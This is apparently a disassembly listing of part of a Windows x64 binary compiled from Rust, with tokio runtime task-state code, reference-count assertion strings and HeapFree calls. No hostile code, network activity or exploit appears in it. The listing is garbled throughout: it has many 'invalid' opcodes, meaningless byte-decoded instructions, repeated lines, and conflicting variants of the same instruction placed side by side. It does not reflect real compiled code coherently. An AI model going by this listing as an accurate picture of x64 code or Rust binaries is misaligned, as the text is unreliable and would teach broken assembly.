je case.0x1400dd9c6.2877
invalid
mov eax, dword cs:[0x14019f30c]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
jrcxz 0x14008b159
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
add al, ch
jrcxz 0x14008b159
invalid
mov eax, dword [0x14019f30c]
rol dword [rcx + 0x11], 0
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
clc
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x14008b2ba
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add byte [rax], al
add byte [rax], al
cmp eax, 2
je 0x14008b1f9
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x14008b1cb
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
mov ebx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x75db1
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x11413b05], ecx
adc dword [r8], eax
invalid
invalid
mov eax, dword [0x14019f30c]
adc dword [r8], eax
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
invalid
add bl, ch
add ecx, dword [rdi]
push rdi
test byte [rax - 0x73], 0x7e
xor byte [rax - 0x77], cl
stc
jmp 0x14008b1fc
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140067620
mov byte [rsi + 0x50], 5
mov eax, dword [0x14019f30c]
cli
adc dword [rax], eax
cli
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0x647402f8], al
cmp eax, 2
je 0x14008b28f
cmp eax, 2
je 0x14008b28f
cmp eax, 1
je 0x14008b25d
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
invalid
mov qword [rax + 0x100], rbx
add dword [rax], eax
add bl, ch
invalid
add byte [rax], al
jmp case.0x140016398.2650
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
ret
std
dec dword [rax - 0x39]
mov dword [rsi + 0x30], 1
ret
mov dword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov dword [rsi + 0x48], ebx
mov dword [rsi + 0x48], ebx
jmp 0x14008b5b5
add byte [rdi], cl
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x60
xorps xmm6, xmm6
lea rbx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
call fcn.14009def0
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
mov dword [rax], ebp
add dword [rax], eax
add byte [rbx + 0x537402f9], al
mov dword [rax], ebp
add dword [rax], eax
add byte [rbx + 0x537402f9], al
cmp ecx, 1
je 0x14008b320
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
invalid
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea ecx, [rsi + 0xd8]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea ecx, [rsi + 0xd8]
lea ecx, [rsi + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add dword [rcx - 0x19f27418], ecx
invalid
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
test al, al
je 0x14008b4a3
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
test al, 1
je 0x14008b701
test al, 0x20
jne case.0x14005714b.167
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne case.0x140057811.159
cmp rax, 0x3f
jbe 0x14008b6e9
invalid
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
jmp case.0x1400578a9.155
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
invalid
add dword [rsp + rsi - 0x15], esi
nop word cs:[rax + rax]
nop word cs:[rax + rax]
je case.0x1400578a9.158
jmp 0x14008b3e6
nop word cs:[rax + rax]
test rax, rax
js 0x14008b719
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x30], 1
mov r9, rbx
mov ecx, ebx
mov qword [r9], rdx
add byte [rax], al
add byte [rcx - 0x77], cl
mov ecx, ebx
cmp dword [rsp + 0x30], 1
jl case.0x140057a1f.150
xor byte [rcx], al
jne 0x14008b3e6
mov rdx, qword [rsp + 0x60]
lock cmpxchg qword [rsi], rdx
invalid
invalid
jne 0x14008b350
movzx eax, r8b
lea rcx, [0x14019446c]
adc byte [rax], al
adc byte [rax], al
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
add eax, 0x10
mov byte [rsp + 0x60], 1
mov qword [rsp + 0x30], rax
rcl byte [rax], 0xc6
and al, 0x60
add dword [rax - 0x77], ecx
and al, 0x30
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x60]
cmp byte [rax - 0x73], cl
and al, 0x60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
xor al, ch
wait
add byte [rdi], 0
mov rax, 0xffffffffffffffc0
sar bh, 0xff
push rax
xadd qword [rsi], rax
invalid
invalid
sar bh, 0xff
push rax
xadd qword [rsi], rax
invalid
invalid
cmp rax, 0x3f
jbe 0x14008b769
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x7d], cl
loopne case.0x140088935.27
invalid
and rax, 0xffffffffffffffc0
ror byte [rax - 0x7d], 0xf8
jne case.0x14008b3f8.0
cmp rax, 0x40
cmp eax, 0x40
jne case.0x14008b3f8.0
mov rax, qword [r14]
lock dec qword [rax]
jne 0x14008b45a
mov rcx, r14
call fcn.1400caa30
invalid
cmc
add eax, dword [rax]
invalid
add eax, dword [rax]
mov rcx, rdi
jmp 0x14008b476
or dword [rax - 0x73], ecx
and al, r13b
and al, ch
and al, ch
mov esi, 0x480003f5
lea ecx, [rsi + 0x30]
call fcn.140067620
mov rax, qword [rsi + 0x68]
mov eax, dword [rsi + 0x68]
mov eax, dword [rsi + 0x68]
test rax, rax
je 0x14008b48b
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008b3f8.0
cmp cl, 2
je 0x14008b510
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x14008b4e2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140100f70]
pop rdx
invalid
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
adc dword ds:[rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
clc
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008b513
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
mov byte [rsi + 0x50], 5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008b5a2
cmp eax, 1
je 0x14008b570
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax - 0x73], cl
adc eax, 0x75a0c
add byte [rax - 0x73], cl
adc eax, 0x75a0c
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
xchg esi, eax
cmp eax, 0x48650011
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rcx
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
jmp 0x14008b5a5
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
dec dword [rax - 0x39]
xor byte [rax], r8b
add byte [rax], al
invalid
dec dword [rax - 0x39]
xor byte [rax], r8b
add byte [rax], al
add dh, al
push rax
add al, 0x8b
add eax, 0x113d4d
invalid
adc dword [rax], eax
mov byte [rsi + 0x50], 4
mov eax, dword [0x14019f30c]
invalid
adc dword [rax], eax
cmp eax, 0x48650011
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008b624
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x14008b60a
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
invalid
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
invalid
add al, ch
sbb eax, 0xc600061a
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x140081230
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140067620
mov byte [rsi + 0x50], 5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008b91c
cmp eax, 1
je 0x14008b902
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008b9a9
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008b984
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008b94b
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140067620
mov esp, 0x8b48fffd
push 0x74c08548
invalid
mov esp, 0x8b48fffd
push 0x74c08548
invalid
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
invalid
cmp eax, 0x3f
jbe 0x14008bcd5
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008bb36
jne 0x14008bb36
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008bad1
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140067620
mov rax, qword [rsi + 0x68]
mov eax, dword [rsi + 0x68]
mov eax, dword [rsi + 0x68]
test rax, rax
je 0x14008baea
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov edi, dword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008bb43
invalid
invalid
xorps xmm6, xmm6
cmp eax, 1
je 0x14008bb70
jmp 0x14008bb9c
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11379605], ecx
invalid
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
invalid
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
mov eax, 0x100
mov eax, 0x100
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140067620
mov byte [rsi + 0x50], 5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008bc2f
cmp eax, 1
je 0x14008bbfd
mov eax, dword [0x14019f30c]
invalid
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7537f
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7537f
call fcn.1400ed020
mov byte [rbx + 0x128], 1
adc al, 6
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x11370905], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
mov qword [rax + 0xf8], 1
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x14008bc36
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
mov ecx, 0xc748fffd
xor byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov byte [rsi + 0x50], 4
mov ecx, 0xc748fffd
xor byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov byte [rsi + 0x50], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008bcc1
cmp eax, 1
je 0x14008bca7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
and al, 0x20
and al, 0x20
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140081230
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
or eax, 0x27ba00
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 5], cl
add eax, 0xba000dc4
invalid
invalid
invalid
invalid
or eax, 0x27ba00
add byte [rax], al
invalid
add al, ch
jae 0x14008bd54
call fcn.140122660
or dword [rax], eax
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14008bd54
test al, 4
je 0x14008c37d
test al, 3
je 0x14008bd10
cmp rax, 0x3f
jbe 0x14008c395
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
jne 0x14008bd29
movzx eax, dl
lea rcx, [0x14019447c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor byte [rax - 0x77], cl
je 0x14008bd9b
cmp byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rsi + 0xa8], 3
jae 0x14008c3dd
cmp dword [0x18808bda8], 0xffffff8d
jle 0x14008bdd4
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008bf73
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je case.0x14005714b.176
invalid
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
push rcx
invalid
add al, ch
sub dl, byte [rdx]
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
push rcx
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
clc
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0x100], ebx
mov qword [rax + 0x100], rbx
mov dword [rax + 0x100], ebx
jmp 0x14008bf76
add byte [rbx + 0x1134d705], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x14008beb2
mov rdi, qword [rsi + 0x28]
cmp eax, 1
clc
invalid
je 0x14008be84
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x1134af
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
adc eax, 0x750f8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x750f8
call fcn.1400ed020
mov byte [rbx + 0x128], 1
invalid
add dword [rbx + 0x11348205], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
ror dword [rdi], 0x10
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
add byte [rax], al
jmp 0x14008beb5
xorps xmm6, xmm6
push rdi
test byte [rax - 0x73], 0x7e
xor byte [rax - 0x77], cl
stc
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140069230
mov byte [rsi + 0xa8], 4
test al, 0
add byte [rax], al
add byte [rbx + rcx*4], al
add eax, 0x11343e
test al, 0
add byte [rax], al
add byte [rbx + rcx*4], al
add byte [rbx + rcx*4], al
add eax, 0x11343e
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
invalid
ror dword [rdi], 0xb6
sub byte [rax], 1
add byte [rax], al
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008bf4b
cmp eax, 1
je 0x14008bf19
invalid
sub eax, 0x341a058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x75063
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x75063
invalid
invalid
invalid
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
add eax, 0x1133ed
in eax, dx
xor edx, dword [rcx]
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008bf52
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140069230
invalid
sar ch, cl
dec dword [rax - 0x39]
xor byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x48], rbx
jmp case.0x140088935.39
jmp 0x14008bf73
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x48], rbx
jmp case.0x140088935.39
jmp 0x14008bf73
add byte [rax], al
jmp 0x14008bf73
xorps xmm6, xmm6
lea rbx, [rsp + 0x70]
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.14009d940
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
mov dword [rax], ebp
add dword [rax], eax
invalid
mov dword [rax], ebp
add dword [rax], eax
add byte [rbx + 0x537402f9], al
cmp ecx, 2
je 0x14008bff8
cmp ecx, 2
je 0x14008bff8
cmp ecx, 1
je 0x14008bfdc
stc
add dword [rdx + rsi - 0x77], esi
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
invalid
add al, ch
adc byte [rsi], r8b
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
mov eax, ebp
invalid
invalid
invalid
invalid
call 0x17332cd6b
adc dword [rax], eax
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
test al, al
je 0x14008c149
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x40]
and al, 0x40
and al, 0x40
nop dword [rax]
add byte [rax - 0x6a7bf0ff], ch
add eax, dword [rax]
add byte [rax + 0x48347520], ch
mov rdx, rax
test al, 1
je 0x14008c3ad
test al, 0x20
jne 0x14008c050
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x14008c070
fisubr word [rax + 0x48497504]
cmp eax, 0x3f
invalid
cmp rax, 0x3f
invalid
jbe 0x14008c395
xchg byte [rbx + rax], ah
add byte [rax - 0x7d], cl
add edx, 0xffffffc0
invalid
add rdx, 0xffffffffffffffc0
add edx, 0xffffffc0
cmp rdx, 0x40
setb r8b
rol byte [rbp], 0xc0
rol byte [rbp], 0xc0
jmp 0x14008c080
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x50], al
mov r8b, 3
mov r9, rcx
add ecx, dword [rcx - 0x77]
leave
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
jl case.0x140057a1f.158
invalid
invalid
je case.default.0x14008c0b8
jl case.0x140057a1f.158
add dword [rsp + rsi - 0x15], esi
add dword [rsp + rsi - 0x15], esi
jmp 0x14008c0a6
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
